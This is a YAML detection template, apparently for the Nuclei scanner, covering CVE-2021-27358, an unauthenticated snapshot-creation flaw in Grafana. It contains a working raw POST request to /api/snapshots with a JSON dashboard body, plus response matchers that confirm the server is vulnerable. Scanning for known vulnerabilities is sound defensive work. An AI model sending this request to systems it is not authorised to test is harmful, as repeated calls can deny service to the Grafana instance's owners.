41 lines
1.3 KiB
YAML
41 lines
1.3 KiB
YAML
id: CVE-2021-27358
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info:
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author: pdteam
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name: Grafana unauthenticated snapshot creation
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severity: high
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description: The snapshot feature in Grafana 6.7.3 through 7.4.1 can allow an unauthenticated remote attackers to trigger a Denial of Service via a remote API call if a commonly used configuration is set.
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reference:
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- https://phabricator.wikimedia.org/T274736
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- https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-27358
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tags: cve,cve2021,grafana,unauth
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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cvss-score: 7.50
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cve-id: CVE-2021-27358
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requests:
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- raw:
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POST /api/snapshots HTTP/1.1
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Host: {{Hostname}}
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Accept: application/json
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Content-Type: application/json
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{"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}
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matchers-condition: and
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matchers:
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- part: body
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type: word
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words:
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- '"deleteUrl":'
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- '"deleteKey":'
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condition: and
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- type: word
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part: header
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words:
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- "application/json"
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